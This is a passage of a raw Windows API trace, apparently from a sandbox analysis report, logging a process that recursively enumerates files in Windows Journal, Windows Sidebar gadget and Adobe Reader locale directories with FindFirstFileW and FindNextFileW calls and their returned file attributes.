ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll.mui", cAlternateFileName="")) returned 1 [0145.622] FindClose (in: hFindFile=0x4191180 | out: hFindFile=0x4191180) returned 1 [0145.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41a42a8 | out: hHeap=0x300000) returned 1 [0145.624] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c0db86, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x88c0db86, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29c54b90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xe3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkSeg.dll", cAlternateFileName="")) returned 1 [0145.625] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\*", lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191180 [0145.632] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.632] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5570eaa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5570eaa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46a6d3e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x155e, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.jtp", cAlternateFileName="")) returned 1 [0146.599] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0146.599] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.599] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0146.599] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191580 [0146.600] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.600] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x510, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0146.600] FindClose (in: hFindFile=0x4191580 | out: hFindFile=0x4191580) returned 1 [0146.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60498 | out: hHeap=0x300000) returned 1 [0146.600] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0146.600] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191580 [0146.600] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x24022fc4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.600] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.js", cAlternateFileName="")) returned 1 [0146.601] FindClose (in: hFindFile=0x4191580 | out: hFindFile=0x4191580) returned 1 [0146.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60498 | out: hHeap=0x300000) returned 1 [0146.601] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1910, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0146.601] FindClose (in: hFindFile=0x4191780 | out: hFindFile=0x4191780) returned 1 [0146.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0146.601] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d442339, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d442339, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d442339, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2732, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0146.601] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0146.604] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.604] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b43b7f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b43b7f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d468497, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.png", cAlternateFileName="")) returned 1 [0146.604] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191580 [0146.604] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.604] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5e5243, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d5e5243, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d5e5243, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_sidebar.png", cAlternateFileName="")) returned 1 [0146.604] FindClose (in: hFindFile=0x4191580 | out: hFindFile=0x4191580) returned 1 [0146.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60498 | out: hHeap=0x300000) returned 1 [0146.604] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d78814d, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d78814d, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d78814d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="next_down.png", cAlternateFileName="")) returned 1 [0147.752] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.752] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.752] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9342, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.752] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.752] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CZE", cAlternateFileName="")) returned 1 [0147.753] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0147.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0147.753] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da_DK", cAlternateFileName="")) returned 1 [0147.753] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0147.753] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.753] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.DAN", cAlternateFileName="ACCESS~1.DAN")) returned 1 [0147.754] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.754] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.754] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.754] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.754] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.DAN", cAlternateFileName="")) returned 1 [0147.754] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0147.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0147.755] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de_DE", cAlternateFileName="")) returned 1 [0147.755] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0147.755] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.755] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.DEU", cAlternateFileName="ACCESS~1.DEU")) returned 1 [0147.756] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.756] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.756] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.756] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.756] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, 